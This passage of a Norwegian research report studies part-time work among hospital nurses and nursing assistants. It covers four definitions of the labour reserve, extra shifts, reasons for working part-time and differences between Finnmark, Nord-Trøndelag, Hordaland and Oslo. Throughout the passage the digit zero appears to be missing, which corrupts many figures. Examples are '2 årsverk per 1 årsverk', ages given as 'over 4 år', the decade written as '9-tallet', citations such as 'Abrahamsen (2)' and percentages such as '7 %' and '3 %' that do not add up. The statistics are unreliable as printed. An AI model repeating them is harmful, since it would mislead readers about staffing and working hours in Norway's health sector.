sv\u00e6rt liten I rapporten presenteres fire ulike definisjoner for arbeidskraftreserven og derav er det beregnet fire ulike st\u00f8rrelser for arbeidskraftreserven. I defin i- sjon 1 er arbeidskraftreserven definert som differansen mellom full stilling og avtalt arbeidstid. Ut fra denne definisjonen kan vi si at arbeidskraftreserven blant sykepleierne er p\u00e5 om lag 2 \u00e5rsverk per 1 \u00e5rsverk, mens den er p\u00e5 om lag 3 \u00e5rsverk per 1 blant hjelpepleierne. I definisjon 2 har vi lagt til grunn at arbeidskraftreserven er det uutnyttede potensialet til de deltidsansatte, det vil si differansen mellom full stilling og faktisk arbeidstid, hvor faktisk arbeidstid er summen av avtalt arbeidstid og ekstravakter. N\u00e5r vi inkluderer ekstraarbeidet i definisjon 2 finner vi at arbeidskraftreserven blant begge yrkesgruppene er noe redusert. Ut fra definisjon 2 er arbeidskraftreserven blant sykepleierne p\u00e5 om lag 14 \u00e5rsverk per 1, mens den er p\u00e5 om lag 23 \u00e5rsverk per 1 blant hjelpepleierne. I de to siste definisjonene har vi lagt de ansattes \u00f8nsker om hvor mye de vil jobbe til grunn. Dersom vi legger definisjon 3 og 4 til grunn, finner vi at arbeidskraftreserven blant syke- og hjelpepleierne er sv\u00e6rt liten. I definisjon 3 er arbeidskraftreserven lik differansen mellom avtalt arbeidstid i dag og \u00f8nsket avtalt arbeidstid. Ut fra denne definisjonen finner vi at arbeidskraftreserven blant sykepleierne er p\u00e5 1,6 \u00e5rsverk per 1 \u00e5rsverk, mens den er p\u00e5 8,5 \u00e5rsverk per 1 blant hjelpepleierne. I definisjon 4 er arbeidskraftreserven lik differansen mellom hva den ansatte faktisk jobber i dag og hva den ansatte \u00f8nsker \u00e5 jobbe. Ut fra denne definisjonen finner vi en arbeidskraftreserve p\u00e5 under ett \u00e5rsverk per 1 blant sykepleierne og p\u00e5 om lag 6 \u00e5rsverk per 1 for hjelpepleierne. Flertallet av de ansatte jobber ekstra Fra timelisteunders\u00f8kelsen fant vi at det ble utf\u00f8rt 63 \u00e5rsverk i ekstraarbeid eller n\u00e6rmere 11 % av den avtalte arbeidstiden ved 11 avdelinger. Det er relativt store forskjeller mellom avdelingene i hvor mye ekstra det ble jobbet, og ved fire av avdelingene er tallene sannsynligvis for lave siden vi ikke mottok timelister for de ansatte bare for de timel\u00f8nnede. Ansatte omfatter fast ansatte, vikaransatte og midlertidig ansatte (engasjerte). De timel\u00f8nnede er personer som kun jobber p\u00e5 timebasis etter behov og l\u00f8nnes deretter. Om lag 65 % av de som arbeidet ekstra er ansatte, og denne gruppen utf\u00f8rte om lag halvparten av ekstraarbeidet. I avdelinger med h\u00f8y andel deltid st\u00e5r de deltidsansatte for en relativ stor andel av ekstrainnsatsen. Ansatte i sm\u00e5 del- xi\n\n\n\n16 tidsstillinger (under 75 % stilling) sto for en st\u00f8rre andel av ekstrainnsatsen relativt til ansatte i store stillingsbr\u00f8ker og heltidsansatte. Totalt sett kan vi si at de deltidsansatte allerede brukes som er en viktig arbeidskraftreserve i dag. Avdelinger som ikke har denne form for arbeidskraftreserve m\u00e5 i st\u00f8rre grad ty til de heltidsansatte og timel\u00f8nnede. I sp\u00f8rreunders\u00f8kelsen oppga over 7 % av informantene fra samtlige avdelinger at de jobber ekstra, og de deltidsansatte jobber i noe st\u00f8rre grad enn de heltidsansatte. For sykepleiergruppen kan vi si at de som jobber i de minste deltidsstillingene (under 75 % stilling) jobber mest ekstra. Hjelpepleierne er mest forn\u00f8yd med \u00e5 jobbe ekstra og lederne er minst forn\u00f8yd. Stort sett er om lag 85 % av hjelpepleierne forn\u00f8yd med \u00e5 jobbe ekstra, men forskjellen til sykepleiergruppen er ikke stor: 82 % av sykepleierne som jobber ekstra, er stort sett forn\u00f8yd med det. Riktignok kan en st\u00f8rre andel av sykepleiere enn hjelpepleiere tenke seg \u00e5 jobbe litt mindre ekstra. De deltidsansatte er noe mer forn\u00f8yd med ekstrajobbingen enn de heltidsansatte. Hjelpepleierne er ogs\u00e5 mest interessert i \u00e5 jobbe ekstra, m\u00e5lt i forhold til hvor ofte de selv tar initiativ til ekstravaktene. N\u00e6rmere 56 % av hjelpeple i- erne oppgir at de har selv bedt om \u00e5 f\u00e5 alle eller de fleste av ekstravaktene de har jobbet, mot om lag 4 % av sykepleierne. Informantene viser til relativt f\u00e5 tilfeller av beordring fra overordnede om \u00e5 jobbe ekstra, men om lag 15 % av sykepleierne og 11 % av hjelpepleierne opplever et press om \u00e5 jobbe ekstra. De fleste som f\u00f8ler seg presset, svarer at de jobber ekstra av hensyn til sine kollegaer, selv om de i utgangspunktet ikke har lyst. Sp\u00f8rreunders\u00f8kelsen tyder p\u00e5 at det er flere grunner til at de ansatte jobber ekstra. Om lag 3 % av hjelpepleierne viser til at de egentlig \u00f8nsker \u00e5 utvide stillingsbr\u00f8ken sin, men arbeidsgiver kan kun tilby dem ekstravakter. Vi fant ogs\u00e5 at ekstravaktene har relativt mye \u00e5 si for syke- og hjelpepleiernes \u00f8konomi, og det er lederne som i minst grad jobber ekstra av \u00f8konomiske grunner. For flertallet av informantene er ekstravakter i tillegg en form for arbeidstidsfleksibilitet. Gjennom ekstravakter kan de ansatte selv styre n\u00e5r og hvor mye de \u00f8nsker \u00e5 jobbe, og ekstravaktene er s\u00e5ledes et kj\u00e6rkomment tillegg til deres faste vaktplan. Deltidsarbeid er livsfasebetinget Mye tyder p\u00e5 at syke- og hjelpepleiernes valg av arbeidstid i stor grad er livsfasebetinget. Dette kommer fram ved \u00e5 se p\u00e5 hva som kjennetegner de ansatte i ulike stillingsst\u00f8rrelser og hva de ansatte selv begrunner sin deltidssysselsetting med. Relativt unge og nyutdannete foretrekker full stilling, de xii\n\n\n\n17 som befinner seg i 3-\u00e5rene og som har sm\u00e5barn foretrekker en liten deltidsstilling, mens de som er ferdige med sm\u00e5barnsfasen foretrekker en stor deltidsstilling. Blant sykepleierne fant vi fire hovedforklaringer for hvorfor de jobber deltid, og dette forklarer i overkant av 7 % av de ansattes deltidsarbeid. Om lag 43 % viser til at det er vanskelig \u00e5 kombinere heltidsarbeid og familie. Om lag 12,5 % begrunner sin deltidssysselsetting med at arbeidsgiver ikke kan tilby hel stilling. 11 % viser til hensynet til egen helse, mens 5 % \u00f8nsker \u00e5 jobbe litt her og der og kombinere det med studier. En stor andel av sykepleierne (om lag 45 %) har vektlagt b\u00e5de jobbeksterne og jobbrelaterte forhold i sin begrunnelse for \u00e5 jobbe deltid. Sykepleiernes begrunnelse for \u00e5 jobbe deltid knytter seg ikke bare til at det er vanskelig \u00e5 kombinere full jobb med \u00e5 ha sm\u00e5 barn. Flertallet av de deltidsansatte sykepleierne med sm\u00e5 barn svarer at de \u00f8nsker \u00e5 bruke tid sammen med familien. For arbeidsgiver inneb\u00e6rer dette at selv om man i st\u00f8rre grad tilrettelegger med hensyn til barnetilsyn og andre forhold som de ansatte opplever som vanskelige, er det ikke gitt at de vil \u00f8nske \u00e5 jobbe mer. Hjelpepleiergruppen er en langt mer homogen gruppe i forhold til hva som kjennetegner dem p\u00e5 tvers av ulike stillingsst\u00f8rrelser og i forhold til deres begrunnelse for \u00e5 jobbe deltid. Dette kan trolig forklares ved at hjelpepleie r- ne er aldersmessig likere enn sykepleierne. Det store flertallet av hjelpeple i- erne er over 4 \u00e5r, og begrunner sin deltidssysselsetting oftere med jobbrelaterte forhold og hensynet til egen helse. Det mest interessante sp\u00f8rsm\u00e5let er for s\u00e5 vidt hvorfor de eldre arbeidstakerne foretrekker en stor deltidsstilling framfor en hel stilling. Mye tyder p\u00e5 at hensynet til egen helse veier tungt, og vi fant for begge yrkesgruppene at hensynet til egen helse tillegges st\u00f8rre vekt dess eldre man blir. Men det er ogs\u00e5 mye som tyder p\u00e5 at hensynet til egen helse m\u00e5 forst\u00e5s p\u00e5 minst to m\u00e5ter blant sykepleierne. For de som har r\u00e5d til det, kan hensynet til egen helse ses som et uttrykk for vern om god helse. Men vi skal ikke se bort i fra at deltid som begrunnes med hensynet til egen helse, ogs\u00e5 er en mestringsstrategi for eldre arbeidstakere som ikke orker presset i arbeidslivet like godt. Hensynet til egen helse korrelerer positivt b\u00e5de med belastende arbeidssituasjon og trenger ikke pengene, og s\u00e5ledes st\u00f8tter opp om at begge forklaringene gj\u00f8r seg gjeldende. Vi har dessverre ikke godt nok datamateriale til \u00e5 foreta samme analyse for hjelpepleiergruppen. xiii\n\n\n\n18 St\u00f8rst andel undersysselsatte blant hjelpepleierne Om lag 12 % av sykepleierne \u00f8nsker \u00e5 jobbe mer p\u00e5 fast basis, mens 24 % av hjelpepleierne \u00f8nsker det samme. De aller fleste som \u00f8nsker \u00e5 jobbe mer p\u00e5 fast basis, jobber i fylker med h\u00f8y deltidsandel. De ansatte som i dag jobber i de minste stillingsbr\u00f8kene \u00f8nsker \u00e5 \u00f8ke mest. Blant de som \u00f8nsker \u00e5 jobbe mer, \u00f8nsker 3 % \u00e5 \u00f8ke til hel stilling. I gjennomsnitt er det hjelpepleierne som \u00f8nsker \u00e5 \u00f8ke sine stillinger mest. Hjelpepleierne som \u00f8nsker \u00e5 jobbe mer, jobber mye ekstra og har en bruttol\u00f8nn over gjennomsnittet i forhold til sammenlignbare grupper. Blant sykepleierne som \u00f8nsker \u00e5 jobbe mer, dominerer sykepleiere i aldersgruppen 3-39 \u00e5r og en stor andel av disse har barn under 11 \u00e5r. Vi kan derfor ikke si at sykepleierne som \u00f8nsker \u00e5 jobbe mer er ferdig med sm\u00e5barns\u00e5ra, slik tilfellet var i de tidligere kartleggingene til Agderforskning. Om lag tre fjerdedeler av dem som \u00f8nsker \u00e5 jobbe mer p\u00e5 fast basis, oppgir at de har gjort noe aktivt for \u00e5 endre stillingsbr\u00f8ken sin. Totalt sett kan vi si at om lag halvparten av undersysselsettingen trolig kan tilskrives manglende tilbud fra arbeidsgiver. Det er hjelpepleierne som i st\u00f8rst grad opplever at det er vanskelig \u00e5 f\u00e5 st\u00f8rre stilling. Vi fant ogs\u00e5 at hjelpepleierne er generelt mer endringsvillige enn sykepleierne med tanke p\u00e5 hva de kan v\u00e6re villige til \u00e5 akseptere for \u00e5 f\u00e5 en st\u00f8rre stillingsbr\u00f8k. Hjelpepleierne er mest villige til \u00e5 pr\u00f8ve en ordning med fleksibel stillingsprosent. Felles for begge yrkesgruppene er at de i liten grad \u00f8nsker \u00e5 jobbe flere l\u00f8rdags- og s\u00f8ndagsvakter for \u00e5 kunne \u00f8ke stillingsbr\u00f8ken sin. Kan flere motiveres til \u00e5 jobbe mer? N\u00e5r det gjelder hjelpepleiergruppen har vi egentlig med to ulike grupper \u00e5 gj\u00f8re. Den ene gruppen kan ikke tenke seg \u00e5 jobbe mer uansett og synes det ikke vil v\u00e6re greit dersom arbeidsgiver stiller krav om at de minst m\u00e5 jobbe i 6 % eller 8 % stilling. Den andre gruppen kan i st\u00f8rre grad la seg motivere til \u00e5 jobbe mer, og de er ogs\u00e5 noe mer positive til et eventuelt krav fra arbeidsgiver om \u00e5 jobbe mer. Sistnevnte gruppe kan la seg motivere til \u00e5 jobbe mer mot bedre l\u00f8nn. N\u00e5r det gjelder sykepleierne, synes f\u00e6rre det vil v\u00e6re greit at arbeidsgiver stiller krav om jobbing i minimum 6 % eller 8 % stilling, samtidig som flere kan la seg motivere til \u00e5 jobbe mer dersom visse endringer gjennomf\u00f8res. Blant sykepleierne finner vi ikke et like klart skille mellom to grupper. Om lag halvparten av sykepleierne har svart at det ikke vil v\u00e6re greit at arbeidsgiver stiller krav om at de m\u00e5 minimum jobbe i 6 % eller 8 % stil- xiv\n\n\n\n19 ling, samtidig som de har svart at de kan motiveres til \u00e5 jobbe mer dersom l\u00f8nnen bedres. Vi har ingen data om hvor mye mer l\u00f8nnen m\u00e5 heves for at det skal v\u00e6re tilstrekkelig som motivasjonsmiddel, og vi vet heller ikke noe om hvor mye mer de ansatte vil v\u00e6re interessert i \u00e5 jobbe dersom l\u00f8nnen \u00f8kes. Det vi i- midlertid kan oppsummere med er at \u00f8kt l\u00f8nn kan motivere flere deltidsansatte til \u00e5 jobbe mer. Fylkesvise forskjeller P\u00e5 samme m\u00e5te som vi fant at hjelpepleierne er relativt like p\u00e5 tvers av ulike stillingsst\u00f8rrelser, finner vi at det samme er tilfelle p\u00e5 tvers av fylker. Hje l- pepleierne er ogs\u00e5 mer like i forhold til sentrale bakgrunnsvariabler (alder, sivilstatus, osv) p\u00e5 tvers av fylkene, enn det sykepleiergruppen er. Igjen kan mye av forklaringen ligge i at aldersspredningen blant hjelpepleierne er mindre enn blant sykepleierne. Visse forskjeller mellom fylkene finner vi imidlertid. If\u00f8lge informantene i sp\u00f8rreunders\u00f8kelsen kan vi si at sykehusavdelingene i Finnmark kjennetegnes av underbemanning og stort arbeidspress. Det er i Finnmark at deltidsandelen er lavest for b\u00e5de sykepleierne (2,3 %) og hje l- pepleierne (42,9 %), og det kan tenkes at bemanningssituasjonen og arbeidspresset er med p\u00e5 \u00e5 drive deltidsandelen ned. Det kan imidlertid ogs\u00e5 tenkes at den lave deltidsandelen i Finnmark kan forklares med at en del sykepleiere bevisst velger \u00e5 jobbe i Finnmark i en periode ut fra karrieremessige og \u00f8konomiske grunner. Finnmark kjennetegnes med relativt unge, nyutdannete sykepleiere med kort fartstid ved sykehuset. Sykepleiernes livsfase, samt \u00f8nske om \u00e5 tjene mest mulig, taler for at mange ansatte som er sysselsatt i Finnmark, \u00f8nsker hele stillinger - og gjerne med ekstravakter p\u00e5 toppen. Til tross for underbemanning, stort arbeidspress og mye jobbing, er de ansatte i Finnmark stort sett forn\u00f8yd med deres faktiske arbeidstid og er slik sett ikke noe unntak sammenlignet med de \u00f8vrige fylkene. Ut fra de fire fylkene vi har sett p\u00e5, framst\u00e5r sykehusavdelingene i Nord- Tr\u00f8ndelag n\u00e6rmest som en solskinnshistorie for sykepleierne. Sykehusavdelingene i Nord-Tr\u00f8ndelag har den h\u00f8yeste deltidsandelen blant sykepleie r- ne, samtidig som det er sykepleierne fra disse avdelingene som er mest forn\u00f8yd med deres faktiske arbeidstid og arbeidsmilj\u00f8. Det er imidlertid ogs\u00e5 her vi finner en viss andel ansatte som \u00f8nsker \u00e5 jobbe mer p\u00e5 fast basis, men hvor de m\u00f8ter problemer med \u00e5 f\u00e5 dette til: 16,5 % av sykepleierne og 43 % av hjelpepleierne \u00f8nsker \u00e5 jobbe mer p\u00e5 fast basis. Halvparten av sykepleie r- ne som \u00f8nsker \u00e5 jobbe mer begrunner sin deltidssysselsetting med at ar- xv\n\n\n\n20 beidsgiver ikke kan tilby st\u00f8rre stilling, mens tre fjerdedeler av hjelpepleie r- ne gj\u00f8r det samme. Det er ogs\u00e5 i Nord-Tr\u00f8ndelag informantene mener at det alternative jobbmarkedet (b\u00e5de for deltids- og heltidsjobber) er relativt begrenset. If\u00f8lge informantene fra Hordaland, ligner sykehusavdelingene de jobber ved p\u00e5 avdelingene i Finnmark hva gjelder grunnbemanningen og arbeidspresset men riktignok i noe mindre m\u00e5lestokk. Men informantene fra Hordaland har ikke de samme kjennetegn som informantene fra Finnmark. I forhold til en rekke bakgrunnsvariabler som alder, sivilstand, barn, fors\u00f8rgeransvar, osv, har informantene fra Hordaland mest til felles med informantene fra Nord-Tr\u00f8ndelag, og i Hordaland, som i Nord-Tr\u00f8ndelag, er deltidsandelen h\u00f8y: 66 % av sykepleierne og 92 % av hjelpepleierne i Hordaland jobber deltid. Hordaland er imidlertid fylket hvor f\u00e6rrest er forn\u00f8yd med sin faktiske arbeidstid (men dog 74 % er forn\u00f8yd) og er fylket hvor st\u00f8rst andel blant sykepleiergruppen \u00f8nsker st\u00f8rre stillingsbr\u00f8k: Om lag 21 % av sykepleierne \u00f8nsker \u00e5 jobbe mer p\u00e5 fast basis, mens om lag 23 % av hjelpepleierne \u00f8nsker det samme. Det alternative jobbmarkedet for b\u00e5de deltids- og heltidsjobber vurderes ikke som like begrenset som i Nord-Tr\u00f8ndelag, men n\u00e6rmere to tredjedeler tilskriver sin deltidssysselsetting til at arbeidsgiver ikke kan tilby dem st\u00f8rre stilling. En relativ stor andel av sykepleierne ved sykehusavdelingene i Oslo er unge (under 3 \u00e5r) eller godt voksne (fylt 4 \u00e5r) uten sm\u00e5 barn og fors\u00f8rgeransvar. Ser vi p\u00e5 sykepleiernes fartstid ved avdelingene og sykehusene, er det mye som tyder p\u00e5 et relativt aktivt arbeidsmarked i Oslo med mer flytting mellom avdelinger og sykehus enn i de andre fylkene. Deltidsandelen blant sykepleierne i de deltakende avdelingene i Oslo varierer en del (fra 29,4 % til 58,3 %), men det store flertallet ved samtlige tre avdelinger er forn\u00f8yd med sin faktiske arbeidstid og sv\u00e6rt f\u00e5 sykepleiere \u00f8nsker \u00e5 jobbe mer p\u00e5 fast basis. Vi finner ogs\u00e5 at en rimelig stor andel av dem opplever at grunnbemanningen er god, at arbeidsbelastningen ikke er for stor, og at de har et godt arbeidsmilj\u00f8. Hjelpepleierne ved de samme avdelingene i Oslo er noe eldre enn sykepleierne, og holder seg lengre til samme avdeling. Det er her vi finner den h\u00f8yeste andelen hjelpepleiere med sm\u00e5 barn (under 11 \u00e5r), men de som har sm\u00e5 barn jobber deltid. Det som trekker ned i Oslo er at over halvparten (53,3 %) oppgir at de har p\u00e5dratt seg plager eller skader p\u00e5 grunn av arbeidet i helsesektoren. Hva som er \u00e5rsaken til dette kan vi ikke svare p\u00e5. Vi kan imidlertid si at nesten samtlige hjelpepleiere i Oslo (93,3 %) har svart at de har et godt arbeidsmilj\u00f8 og relativt f\u00e5 opplever at jobben krever for mye av dem eller at de ofte er utslitt n\u00e5r de kommer hjem fra jobben. Det xvi\n\n\n\n21 store flertallet er forn\u00f8yd med sin faktiske arbeidstid og ingen av dem \u00f8nsker \u00e5 jobbe mer p\u00e5 fast basis. I Finnmark og Oslo, som er fylkene hvor man opplever de st\u00f8rste problemene med \u00e5 rekruttere sykepleiere i dette utvalget, er arbeidskraftreserven blant sykepleierne ut fra definisjon 3 og 4, sv\u00e6rt liten. N\u00e5r det gjelder hjelpeple i- ergruppen er det bare i Oslo, av de fire fylkene vi har sett p\u00e5, hvor det er store rekrutteringsproblemer. Som vi nettopp har sett kan ingen av hjelpepleie r- ne fra Oslo tenke seg \u00e5 \u00f8ke stillingsbr\u00f8ken sin. xvii\n\n22\n\n23 1 Innledning Det er mangel p\u00e5 helsepersonell i Norge og mangelen synes \u00e5 v\u00e6re spesielt stor blant sykepleiere i sykehussektoren. I den p\u00e5g\u00e5ende debatten er en rekke ulike forklaringer p\u00e5 arbeidskraftmangelen blant sykepleiere fremsatt. I sin artikkel konkluderer Abrahamsen (2) imidlertid med at f\u00e5 sykepleiere g\u00e5r over til andre yrker og at avgangen fra sykepleieryrket synes \u00e5 v\u00e6re mindre enn det gis inntrykk av i den p\u00e5g\u00e5ende debatten. Abrahamsen (2) fant at sykepleiermangelen ikke er et resultat av stor yrkesavgang, men at deltidsarbeid og avbrudd fra arbeidslivet er av st\u00f8rre betydning for \u00e5 forklare tapt yrkesinnsats blant sykepleierutdannede. Dette samsvarer bra med andre unders\u00f8kelser (Hofoss og Buxrud 1987 og Arnesen 1992). Ser vi p\u00e5 andelen sykepleiere og hjelpepleiere som jobber deltid innen sykehussektoren, vil f\u00f8rsteinntrykket v\u00e6re at her ligger det en stor arbeidskraftreserve. P\u00e5 slutten av 9- tallet har sykepleiere, og s\u00e6rlig hjelpepleiere, en h\u00f8yere deltidsandel enn kvinner i arbeidslivet ellers. \u00c5 redusere bruk av deltid er derfor i \u00f8kende grad sett p\u00e5 som en utfordring for helsesektoren. I denne rapporten er det syke- og hjelpepleieres deltidsarbeid ved somatiske sykehus som st\u00e5r i fokus. Sentrale sp\u00f8rsm\u00e5l er: Hvor stor er arbeidskraftreserven blant syke- og hjelpepleierne i sykehussektoren? Hvorfor jobber disse yrkesgruppene deltid og hva kjennetegner de ansatte som \u00f8nsker \u00e5 jobbe mer? Ulike definisjoner av arbeidskraftreserven I tidligere kartlegginger er arbeidskraftreserven blant deltidsansatte definert som differansen mellom full stilling og avtalt arbeidstid (Arnesen 1992, Olsen og Lund 1996). Siden denne m\u00e5ten \u00e5 betrakte arbeidskraftreserven p\u00e5 verken tar hensyn til pleiernes faktiske arbeidstid, om pleierne kan eller er villige til \u00e5 arbeide mer, at en del pleiere faktisk \u00f8nsker \u00e5 jobbe mindre, og at en rekke strukturelle problemer gj\u00f8r det vanskelig for arbeidsgiver \u00e5 tilby st\u00f8rre stillingsbr\u00f8ker, mener vi at denne definisjonen er lite tilfredsstillende. I denne rapporten vil vi definere arbeidskraftreserven p\u00e5 fire ulike m\u00e5ter. I tillegg til \u00e5 betrakte arbeidskraftreserven som differansen mellom full stilling og avtalt arbeidstid (definisjon 1), vil vi i definisjon 2 ta med ekstratimene som de ansatte jobber. Det vil si at arbeidskraftreserven er differansen mellom full stilling og faktisk arbeidstid, hvor faktisk arbeidstid er summen av avtalt arbeidstid og ekstratimer. I definisjon 3 og 4 tar vi utgangspunkt i de ansattes egne \u00f8nsker. I den tredje definisjonen er arbeidskraftreserven lik differansen mellom den ansattes avtalte arbeidstid og \u00f8nsket avtalt arbeidstid, 1\n\n24 mens i definisjon 4 er arbeidskraftreserven lik differansen mellom hva den ansatte faktisk jobber i dag og hva den ansatte \u00f8nsker \u00e5 jobbe. Agderforsknings tidligere kartlegginger av deltidsarbeid Agderforskning har tidligere gjennomf\u00f8rt to prosjekter om deltid i sykehussektoren. M\u00e5let med det f\u00f8rste prosjektet var \u00e5 fremme ulike modeller for \u00e5 redusere bruk av deltid og initiativet til dette prosjektet kom fra sykehusene og arbeidsmarkedets parter p\u00e5 Agder (Hallandvik m.fl. 1999). Det andre prosjektet kom i stand etter initiativ fra Kommunenes Sentralforbund hvor m\u00e5let var \u00e5 pr\u00f8ve ut en eller flere av modellene (Olsen og Hallandvik 2). Utgangspunktet for begge prosjektene var antakelsene om at mangelen p\u00e5 arbeidskraft vil bli et \u00f8kende problem, samt at en del pleiere \u00f8nsker \u00e5 jobbe mer men hindres i \u00e5 gj\u00f8re det. I ovennevnte prosjekter ble det gjennomf\u00f8rt en sp\u00f8rreunders\u00f8kelse som kartla syke- og hjelpepleiernes arbeidstid, \u00f8nsker og endringsvilje. Sp\u00f8rreunders\u00f8kelsen, som ble gjennomf\u00f8rt i perioden , omfattet fem avdelinger ved tre sentralsykehus. I det f\u00f8rste prosjektet deltok en avdeling hver fra henholdsvis Aust-Agder Sentralsjukehus (ASA) og Vest-Agder Sentralsykehus (VAS), mens i det andre prosjektet deltok en avdeling fra VAS og to avdelinger fra Sykehuset \u00d8stfold (S\u00d8). 1 Totalt har 248 sykepleiere og 87 hjelpepleiere svart. Svarprosenten for sykepleierne var tilfredsstillende 2 mens svarprosenten for hjelpepleierne var noe mer variabel og mindre tilfredsstillende 3. I tillegg til sp\u00f8rreunders\u00f8kelsen ble det hentet inn informasjon om hele populasjonen fra personalavdelingene 4. I det f\u00f8rste prosjektet ble det ogs\u00e5 gjennomf\u00f8rt en timelisteunders\u00f8kelse som kartla omfanget av ekstraarbeidet i avdelingene i en seks ukers periode. I begge prosjektene ble det i tillegg foretatt en rekke intervjuer med sentrale akt\u00f8rer i avdelingene. De tidligere kartleggingene viste at de fleste deltidsansatte jobber mer enn deres stillingsbr\u00f8k tilsier. N\u00e6rmere 7 % av de deltidsansatte arbeider utover deres faste vakter, mens 42 % av de heltidsansatte gj\u00f8r det samme. De fleste var imidlertid forn\u00f8yd med \u00e5 jobbe deltid og \u00f8nsket ikke \u00e5 endre stillingsbr\u00f8ken sin. Riktignok \u00f8nsket n\u00e6rmere 2 % av sykepleierne \u00e5 \u00f8ke stillingsbr\u00f8ken sin p\u00e5 fast basis, samtidig som n\u00e6rmere 12 % \u00f8nsket \u00e5 redusere den. 1 De deltakende avdelingene er (1) kirurgisk avdeling, ASA, (2) kirurgisk og (3) medisinsk avdeling, VAS, (4) klinikk Moss, ortopedisk avdeling og (5) klinikk Halden, medisinsk avdeling, S\u00d8. 2 Svarprosenten for sykepleierne er f\u00f8lgende: ASA-kirurgisk avdeling 65,5 %; VAS-kirurgisk avdeling 67,5 %; VAS-medisinsk avdeling 84 %; og S\u00d8 85 %. 3 Ved ASA-kirurgisk avdeling var svarprosenten 52,2, ved VAS-kirurgisk avdeling var den 63,8, ved VAS-medisinsk avdeling var den 46, og ved S\u00d8 var svarprosenten Det ble innhentet informasjon om antall ansatte, yrke, stillingsbr\u00f8k, ansettelsesforhold og alder. 2\n\n25 Totalt sett fant vi at den reelle ressurstilgangen blant sykepleierne vil v\u00e6re p\u00e5 under 2,3 \u00e5rsverk per hundre \u00e5rsverk n\u00e5r vi tar hensyn til de ansattes ekstrainnsats og interesse i \u00e5 jobbe mer (Olsen 2). Riktignok fant vi ogs\u00e5 at bedre l\u00f8nn kan motivere flere \u00e5 \u00f8ke stillingsbr\u00f8ken sin. Denne kartleggingen Det er to hovedgrunner til at vi har gjennomf\u00f8rt et tredje deltidsprosjekt. Den f\u00f8rste grunnen er at vi \u00f8nsket \u00e5 gjennomf\u00f8re flere timelisteunders\u00f8kelser. Vi hadde gjennomf\u00f8rt en timelisteunders\u00f8kelse ved to avdelinger, og var usikre p\u00e5 hvor representative disse avdelingene var i og med begge var kirurgiske avdelinger ved sentralsykehus i Agder. For det andre \u00f8nsket vi \u00e5 se om resultatene fra de tidligere sp\u00f8rreunders\u00f8kelsene var fylkesspesifikke. B\u00e5de p\u00e5 Agder og i \u00d8stfold er andelen deltidsssysselsetting h\u00f8y, b\u00e5de for sykepleiere og hjelpepleiere. Vi var derfor usikre p\u00e5 om vi kunne generalisere fra datamaterialet fra disse fylkene til andre regioner i Norge. Et viktig sp\u00f8rsm\u00e5l for dette prosjektet har derfor v\u00e6rt om vi n\u00e5 kan generalisere til andre deler av Norge eller om vi ikke finner grunnlag for det. Presentasjon av rapporten I kapittel 2 skal vi redegj\u00f8re for hvilke kilder og datasett vi har benyttet. Videre skal vi kort redegj\u00f8re for hva som var vellykket og hva som ikke var like vellykket. I dette kapitlet vil vi ogs\u00e5 presentere svarprosentene og dr\u00f8fte hvor representativ kartleggingen er, f\u00f8r vi avslutningsvis tar for oss sp\u00f8rsm\u00e5let om kartleggingens generaliserbarhet. I kapittel 3 skal vi se p\u00e5 hvor stor arbeidskraftreserven er blant syke- og hjelpepleiere ut fra fire ulike definisjoner. Kapitlet inneholder mange tall, og hovedst\u00f8rrelsene er oppsummert i 3.5. I kapittel 4 ser vi n\u00e6rmere p\u00e5 hva som kjennetegner ekstraarbeidet. Hvor mye ekstra blir jobbet totalt sett p\u00e5 avdelingene, hvem jobber ekstra, og hva mener de ansatte om deres ekstrajobbing, er sentrale sp\u00f8rsm\u00e5l i dette kapitlet. I kapittel 5 tar vi for oss sp\u00f8rsm\u00e5let om hvorfor de ansatte jobber deltid. B\u00e5de ut fra et sysselsettings- og arbeidsmarkedspolitisk st\u00e5sted, er det interessant \u00e5 f\u00e5 st\u00f8rre klarhet i hvor mye av deltidssysselsettingen er ufrivillig. Likeledes kan de ansattes begrunnelser for \u00e5 jobbe deltid v\u00e6re viktige signaler til arbeidsgiver om hvilke jobbrelaterte forhold man b\u00f8r fokusere p\u00e5 dersom man har et \u00f8nske om \u00e5 redusere bruk av deltid. 3\n\n26 I kapittel 6 skal vi se n\u00e6rmere p\u00e5 de ansatte som \u00f8nsker \u00e5 jobbe mer. Hvor mye mer \u00f8nsker de \u00e5 jobbe, hva kjennetegner denne gruppen for \u00f8vrig, har de gjort noe aktivt for \u00e5 \u00f8ke stillingsbr\u00f8ken sin, og hvilke endringer i deres arbeidsforhold er de villige til \u00e5 pr\u00f8ve for \u00e5 f\u00e5 en st\u00f8rre stillingsbr\u00f8k, er alle sentrale sp\u00f8rsm\u00e5l i dette kapitlet. I kapittel 7 reiser vi sp\u00f8rsm\u00e5let om flere kan motiveres til \u00e5 jobbe mer og hvilke endringer som eventuelt m\u00e5 til for at det kan realiseres. I kapittel 8 tar vi for oss sp\u00f8rsm\u00e5let om vi finner forskjeller og likheter mellom fylkene, og eventuelt hva disse forskjellene eller likhetene g\u00e5r ut p\u00e5. I det siste kapitlet, kapittel 9, vil vi trekke tr\u00e5dene og dr\u00f8fte resultatene i et videre perspektiv. Rapporten inneholder mange tabeller og tall. Vi har bevisst presentert mye data i tabellform for spesielt interesserte lesere. For lesere med noe mindre tid til r\u00e5dighet er det gitt en oppsummering av de viktigste resultatene til slutt i hver av datakapitelene (kapitlene 3 til 8). Denne rapporten har ogs\u00e5 tre vedlegg. Det f\u00f8rste omfatter sp\u00f8rreskjemaet som ble sendt de ansatte med tilh\u00f8rende f\u00f8lgebrev. Vedlegg 2 er tilleggstabeller til kapittel 2, mens Vedlegg 3 er tilleggstabeller til kapittel 4. 4\n\n27 2 Metode og gjennomf\u00f8ring 2.1 Valg av enheter Valg av avdeling som studieobjekt Ved tidligere kartlegginger av deltidsarbeid har det v\u00e6rt mer vanlig \u00e5 bruke registerdata eller representative sp\u00f8rreunders\u00f8kelser som enten har v\u00e6rt landsdekkende eller som har tatt for seg bestemte geografiske omr\u00e5der. Ikke alle kartlegginger som handler om deltidsarbeid benytter seg av slike tiln\u00e6rminger. Abrahamsen (1994, 2) har benyttet seg av en panelunders\u00f8kelse og fulgt 1976-kullet for hjelpepleiere og 1977-kullet for sykepleiere, mens Agderforskning har en avdelingstiln\u00e6rming. En avdelingstiln\u00e6rming vil si at avdelingstilh\u00f8righet er avgj\u00f8rende for hvilke ansatte som blir omfattet av kartleggingen. Denne tiln\u00e6rmingen gir et st\u00e5stedsbilde ved en eller flere avdelinger. Ved \u00e5 velge en avdelingstiln\u00e6rming kan vi ved bruk av opplysninger om avdelingspopulasjonen f\u00e5 presis informasjon 